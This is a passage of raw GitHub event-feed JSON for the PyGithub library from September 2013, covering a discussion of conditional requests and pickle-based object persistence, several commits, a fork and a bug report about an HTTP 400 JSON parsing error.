5T05:54:47Z","updated_at":"2013-09-04T13:41:07Z","due_on":null},"comments":9,"created_at":"2013-08-22T10:14:26Z","updated_at":"2013-09-05T16:47:24Z","closed_at":null,"pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/193","diff_url":"https://github.com/jacquev6/PyGithub/pull/193.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/193.patch"},"body":"An alternative solution to pull request #189 based on #192. I am making this new pull request for clarity.\r\nChange List\r\n---------------\r\n1. Add support to [Conditional Request](http://developer.github.com/guides/getting-started/#conditional-requests) API.\r\n * Add ```GithubObject.etag``` property\r\n * Add ```GithubObject.last_modified``` property\r\n * Modify ```Requester``` class to handle 304 response code\r\n * Modify ```Requester``` class to enable making conditional request\r\n * Add ```NotModifiedException``` class for 304 response code\r\n * Add ```GithubObject.update()``` method\r\n * Add a few private helper methods to make this work\r\n2. Add methods for Data Persistence\r\n * Add ```GithubObject.save(file_fname)``` method\r\n * Add ```GithubObject.load(file_fname)``` class method\r\n3. Test class for conditional request\r\n\r\nUsage\r\n---------------\r\n```python\r\n# Get remote issue list and cache locally when syncing\r\nfor issue in repo.get_issues():\r\n issue.save(local_file_path)\r\n\r\n# Offline use/Quick restore previous work state\r\nfor local_file_path in cache.get_files():\r\n cached_issue = issue.load(local_file_path)\r\n #do something with it\r\n\r\n# And check for update when needed\r\nif (cached_issue.update()):\r\n print \"Issue synced“\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23882993","html_url":"https://github.com/jacquev6/PyGithub/issues/193#issuecomment-23882993","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","id":23882993,"user":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"created_at":"2013-09-05T16:47:24Z","updated_at":"2013-09-05T16:47:24Z","body":"OK. I will take a look at it in detail tomorrow. Just some quick thoughts:\r\n* It's my oversight that ```__setstate__``` does not implement all ```__init__``` behaviors. That can be easily fixed, since all ```Github.create_from_raw_data``` does is to invoke the constructor. \r\n* I will check on the recursively revive thing. It might be possible to simply introduce a bool flag for status checking and do it lazily when required. And if I understand it correctly, ```Github.create_from_raw_data``` will have the very same issue.\r\n* An alternative for revive is customize the getter for ```self._requester``` that fetches ```requester``` from current ```Github``` instance. Do this in base class, it should then automatically solve every thing, children or not. No \"dead\" objects will exist since they will all be lazily alive.\r\n\r\nSo I think bottom line is to make all the objects serializable and serialize-safe by keep ```__getstate___``` and ```__setstate__```, as long as we can get the initialization right (as ```Github.create_from_raw_data``` does). \r\nAs for the serialization, I am not a big fan on current implementation since I discovery the 2.x and 3.x pickle formats are not compatible. Well, maybe just keep it as an open option and let developers choose whatever methods they want."}},"public":true,"created_at":"2013-09-05T16:47:24Z"},{"id":"1822685130","type":"PushEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"push_id":224708516,"size":1,"distinct_size":1,"ref":"refs/heads/topic/ConditionalRequest","head":"6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69","before":"c412d49c9fd28406156dff664a1f848da1e95d0b","commits":[{"sha":"6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Adapt to Python 2.5 (again:))","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6cb149dce41cf1f110ae1f1d6a5c6bdd66790b69"}]},"public":true,"created_at":"2013-09-05T15:53:49Z"},{"id":"1822682093","type":"PushEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"push_id":224706869,"size":1,"distinct_size":1,"ref":"refs/heads/topic/ConditionalRequest","head":"c412d49c9fd28406156dff664a1f848da1e95d0b","before":"3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","commits":[{"sha":"c412d49c9fd28406156dff664a1f848da1e95d0b","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Adapt to Python 2.5","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c412d49c9fd28406156dff664a1f848da1e95d0b"}]},"public":true,"created_at":"2013-09-05T15:51:13Z"},{"id":"1822678337","type":"IssueCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/events","html_url":"https://github.com/jacquev6/PyGithub/issues/193","id":18404629,"number":193,"title":"Add Conditional Request and Data Persistence Support Alternative Solution","user":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":1,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-04T13:41:07Z","due_on":null},"comments":8,"created_at":"2013-08-22T10:14:26Z","updated_at":"2013-09-05T15:47:44Z","closed_at":null,"pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/193","diff_url":"https://github.com/jacquev6/PyGithub/pull/193.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/193.patch"},"body":"An alternative solution to pull request #189 based on #192. I am making this new pull request for clarity.\r\nChange List\r\n---------------\r\n1. Add support to [Conditional Request](http://developer.github.com/guides/getting-started/#conditional-requests) API.\r\n * Add ```GithubObject.etag``` property\r\n * Add ```GithubObject.last_modified``` property\r\n * Modify ```Requester``` class to handle 304 response code\r\n * Modify ```Requester``` class to enable making conditional request\r\n * Add ```NotModifiedException``` class for 304 response code\r\n * Add ```GithubObject.update()``` method\r\n * Add a few private helper methods to make this work\r\n2. Add methods for Data Persistence\r\n * Add ```GithubObject.save(file_fname)``` method\r\n * Add ```GithubObject.load(file_fname)``` class method\r\n3. Test class for conditional request\r\n\r\nUsage\r\n---------------\r\n```python\r\n# Get remote issue list and cache locally when syncing\r\nfor issue in repo.get_issues():\r\n issue.save(local_file_path)\r\n\r\n# Offline use/Quick restore previous work state\r\nfor local_file_path in cache.get_files():\r\n cached_issue = issue.load(local_file_path)\r\n #do something with it\r\n\r\n# And check for update when needed\r\nif (cached_issue.update()):\r\n print \"Issue synced“\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23877842","html_url":"https://github.com/jacquev6/PyGithub/issues/193#issuecomment-23877842","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","id":23877842,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-05T15:47:44Z","updated_at":"2013-09-05T15:47:44Z","body":"I think I will merge my branch topic/ConditionalRequest (ending at commit 3fe9edf) in next release.\r\n\r\nI may have missed an advantage of your approach of serialization. If so, please tell me, we can continue to discuss it to get the best of both approaches.\r\n\r\nThank you again for your collaboration!"}},"public":true,"created_at":"2013-09-05T15:47:45Z"},{"id":"1822670928","type":"PullRequestReviewCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/6184908","id":6184908,"body":"A few comments on this approach:\r\n\r\n* we can't use the unpickled object in any way, because it has no public attributes, only `raw_data` and `_headers`. We must somehow call `_storeAndUseAttributes` in `__setstate__`\r\n* Creating \"dead\" objects looks like a very dangerous thing. They are not very useful, and quite error-prone (no method can be called on them). Reviving an object after creation is complicated, because its children should be revived too (recursively) (to be able to do things like `repo=g.load(saved_repo); repo.owner.get_followers()[0].login`)\r\n* Having several load and save methods (on `GithubObject`, `Github`) is error-prone.\r\n\r\nPlease see commit 3fe9edf for an implementation of my proposal.","diff_hunk":"@@ -96,6 +100,78 @@ def _parseDatetime(s):\n else:\n return datetime.datetime.strptime(s, \"%Y-%m-%dT%H:%M:%SZ\")\n \n+ # #193: I temporarily comment out those two methods\n+ # We need to address the following:\n+ # - The interface should use file-like objects (not file names)\n+ # - it's more \"pythonic\"\n+ # - it allows user to save several objects in the same physical file\n+ # - it's easier to unit-test because we can inject in-memory file-like objects\n+ # - We should not save identification information\n+ # - We should not re-create several instances of Requester when loading objects\n+ # - This would lead to very surprising behaviors, when changing Github.per_page or anything impacting this central part of PyGithub\n+ # - It should be possible to restore a saved object without knowing its previous type\n+ # - The \"load\" method should not make the user think she must know this previous type\n+ # - In particular, it shouldn't be a classmethod of GithubObject\n+ # - They should be covered by unit tests\n+ #\n+ # My proposal, to be experimented and discussed:\n+ # - in \"save\", pickle a tuple containing the class of the object, its rawData and its headers\n+ # - make \"load\" a method of class Github\n+ # - it will unpickle everything and call Github.create_from_raw_data\n+ # - I would even make \"save\" a method of Github, to keep it symetric with \"load\"\n+ #\n+ # Using __get_state__ would not be enought because we wouldn't have access\n+ # to the Requester instance in __set_state__.\n+\n+ def __getstate__(self):","path":"github/GithubObject.py","position":70,"original_position":70,"commit_id":"ebbfec86a2fb352cc08e3595a6b58fa1ccccc111","original_commit_id":"ebbfec86a2fb352cc08e3595a6b58fa1ccccc111","user":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-05T15:41:19Z","updated_at":"2013-09-05T15:41:19Z","html_url":"https://github.com/jacquev6/PyGithub/pull/193#discussion_r6184908","pull_request_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/193","_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/6184908"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/193#discussion_r6184908"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/193"}}}},"public":true,"created_at":"2013-09-05T15:41:19Z"},{"id":"1822668222","type":"PushEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"push_id":224699122,"size":1,"distinct_size":1,"ref":"refs/heads/topic/ConditionalRequest","head":"3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","before":"38b137fb37c0fdc74f8802a4184518e105db9121","commits":[{"sha":"3fe9edf08707d2c289d4e6a05f7521751cf9f8e4","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Implement object persistence\n\nThis follows my proposal for #193.\nLargely inspired by AKFish's work.","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3fe9edf08707d2c289d4e6a05f7521751cf9f8e4"}]},"public":true,"created_at":"2013-09-05T15:38:57Z"},{"id":"1822025629","type":"ForkEvent","actor":{"id":813448,"login":"SergioJorge","gravatar_id":"5949c2b4dec0f01c221015a21db10537","url":"https://api.github.com/users/SergioJorge","avatar_url":"https://2.gravatar.com/avatar/5949c2b4dec0f01c221015a21db10537?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"forkee":{"id":12604651,"name":"PyGithub","full_name":"SergioJorge/PyGithub","owner":{"login":"SergioJorge","id":813448,"avatar_url":"https://2.gravatar.com/avatar/5949c2b4dec0f01c221015a21db10537?d=https%3A%2F%2Fidenticons.github.com%2F345b07c0913e6d201a63ba7910b13a10.png","gravatar_id":"5949c2b4dec0f01c221015a21db10537","url":"https://api.github.com/users/SergioJorge","html_url":"https://github.com/SergioJorge","followers_url":"https://api.github.com/users/SergioJorge/followers","following_url":"https://api.github.com/users/SergioJorge/following{/other_user}","gists_url":"https://api.github.com/users/SergioJorge/gists{/gist_id}","starred_url":"https://api.github.com/users/SergioJorge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SergioJorge/subscriptions","organizations_url":"https://api.github.com/users/SergioJorge/orgs","repos_url":"https://api.github.com/users/SergioJorge/repos","events_url":"https://api.github.com/users/SergioJorge/events{/privacy}","received_events_url":"https://api.github.com/users/SergioJorge/received_events","type":"User"},"private":false,"html_url":"https://github.com/SergioJorge/PyGithub","description":"Python library implementing the full Github API v3","fork":true,"url":"https://api.github.com/repos/SergioJorge/PyGithub","forks_url":"https://api.github.com/repos/SergioJorge/PyGithub/forks","keys_url":"https://api.github.com/repos/SergioJorge/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/SergioJorge/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/SergioJorge/PyGithub/teams","hooks_url":"https://api.github.com/repos/SergioJorge/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/SergioJorge/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/SergioJorge/PyGithub/events","assignees_url":"https://api.github.com/repos/SergioJorge/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/SergioJorge/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/SergioJorge/PyGithub/tags","blobs_url":"https://api.github.com/repos/SergioJorge/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/SergioJorge/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/SergioJorge/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/SergioJorge/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/SergioJorge/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/SergioJorge/PyGithub/languages","stargazers_url":"https://api.github.com/repos/SergioJorge/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/SergioJorge/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/SergioJorge/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/SergioJorge/PyGithub/subscription","commits_url":"https://api.github.com/repos/SergioJorge/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/SergioJorge/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/SergioJorge/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/SergioJorge/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/SergioJorge/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/SergioJorge/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/SergioJorge/PyGithub/merges","archive_url":"https://api.github.com/repos/SergioJorge/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/SergioJorge/PyGithub/downloads","issues_url":"https://api.github.com/repos/SergioJorge/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/SergioJorge/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/SergioJorge/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/SergioJorge/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/SergioJorge/PyGithub/labels{/name}","created_at":"2013-09-04T23:40:46Z","updated_at":"2013-09-04T23:40:46Z","pushed_at":"2013-09-04T19:49:59Z","git_url":"git://github.com/SergioJorge/PyGithub.git","ssh_url":"git@github.com:SergioJorge/PyGithub.git","clone_url":"https://github.com/SergioJorge/PyGithub.git","svn_url":"https://github.com/SergioJorge/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":820,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","public":true}},"public":true,"created_at":"2013-09-04T23:40:46Z"},{"id":"1822025563","type":"WatchEvent","actor":{"id":813448,"login":"SergioJorge","gravatar_id":"5949c2b4dec0f01c221015a21db10537","url":"https://api.github.com/users/SergioJorge","avatar_url":"https://2.gravatar.com/avatar/5949c2b4dec0f01c221015a21db10537?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"started"},"public":true,"created_at":"2013-09-04T23:40:42Z"},{"id":"1821810477","type":"PushEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"push_id":224224755,"size":1,"distinct_size":1,"ref":"refs/heads/topic/ConditionalRequest","head":"38b137fb37c0fdc74f8802a4184518e105db9121","before":"fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","commits":[{"sha":"38b137fb37c0fdc74f8802a4184518e105db9121","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Fix line ending","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/38b137fb37c0fdc74f8802a4184518e105db9121"}]},"public":true,"created_at":"2013-09-04T19:50:00Z"},{"id":"1821476672","type":"IssueCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/194/events","html_url":"https://github.com/jacquev6/PyGithub/issues/194","id":18951718,"number":194,"title":"GitHub 400 \"Problems parsing JSON\" when creating an issue","user":{"login":"technoskald","id":1624387,"avatar_url":"https://0.gravatar.com/avatar/afdbc4563c208b1bc332762fbd1145cb?d=https%3A%2F%2Fidenticons.github.com%2F1fe48bd7b38910219f53e7709ac82ccf.png","gravatar_id":"afdbc4563c208b1bc332762fbd1145cb","url":"https://api.github.com/users/technoskald","html_url":"https://github.com/technoskald","followers_url":"https://api.github.com/users/technoskald/followers","following_url":"https://api.github.com/users/technoskald/following{/other_user}","gists_url":"https://api.github.com/users/technoskald/gists{/gist_id}","starred_url":"https://api.github.com/users/technoskald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/technoskald/subscriptions","organizations_url":"https://api.github.com/users/technoskald/orgs","repos_url":"https://api.github.com/users/technoskald/repos","events_url":"https://api.github.com/users/technoskald/events{/privacy}","received_events_url":"https://api.github.com/users/technoskald/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":1,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-04T13:41:07Z","due_on":null},"comments":2,"created_at":"2013-09-04T03:34:22Z","updated_at":"2013-09-04T14:35:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm working from the `develop` branch and consistently get an `HTTP 400: Problems parsing JSON` when trying to create an issue.\r\n\r\nThe traceback, including the actual API call, is:\r\n```\r\nTraceback (most recent call last):\r\n File \"import.py\", line 68, in \r\n issue=repo.create_issue(title=i['description'],body=comment,labels=ilabels)\r\n File \"/home/kmaxwell/PyGithub/github/Repository.py\", line 557, in create_issue\r\n post_parameters\r\n File \"/home/kmaxwell/PyGithub/github/Requester.py\", line 171, in requestJsonAndCheck\r\n return self.__check(*self.requestJson(verb, url, parameters, input))\r\n File \"/home/kmaxwell/PyGithub/github/Requester.py\", line 182, in __check\r\n raise self.__createException(status, output)\r\ngithub.GithubException.GithubException: 400 {u'message': u'Problems parsing JSON'}\r\n```\r\n\r\nAdditionally, I enabled console logging while debugging (per the contribution guidelines) and have the following logs:\r\n\r\n```\r\nPOST https://api.github.com/repos/vz-risk/VCDB/issues {'Content-Type': 'application/json', 'Authorization': 'token (oauth token removed)', 'User-Agent': 'PyGithub/Python'} {\"body\": \"http://www.heraldonline.com/2013/08/27/5152564/advanced-data-processing-inc-notification.html\\n\\nAnother of the ADP Partner breaches There are several more on the pinboard--search term is ADP.\\n\\nhttp://posttrib.suntimes.com/news/porter/22190511-418/valpo-ambulance-users-could-have-had-personal-information-stolen.html\\n\\nhttp://www.healthdatamanagement.com/news/breach-notification-hipaa-privacy-security-46520-1.html\\n\\n\\n2013 DataBreach NC\", \"labels\": [\"Breach\"], \"title\": \"VALPARAISO, Ind., Aug. 27, 2013: Advanced Data Processing, Inc.: Notification of Possible Unauthorized Access of Patient Information | PRNewswire | Rock Hill Herald 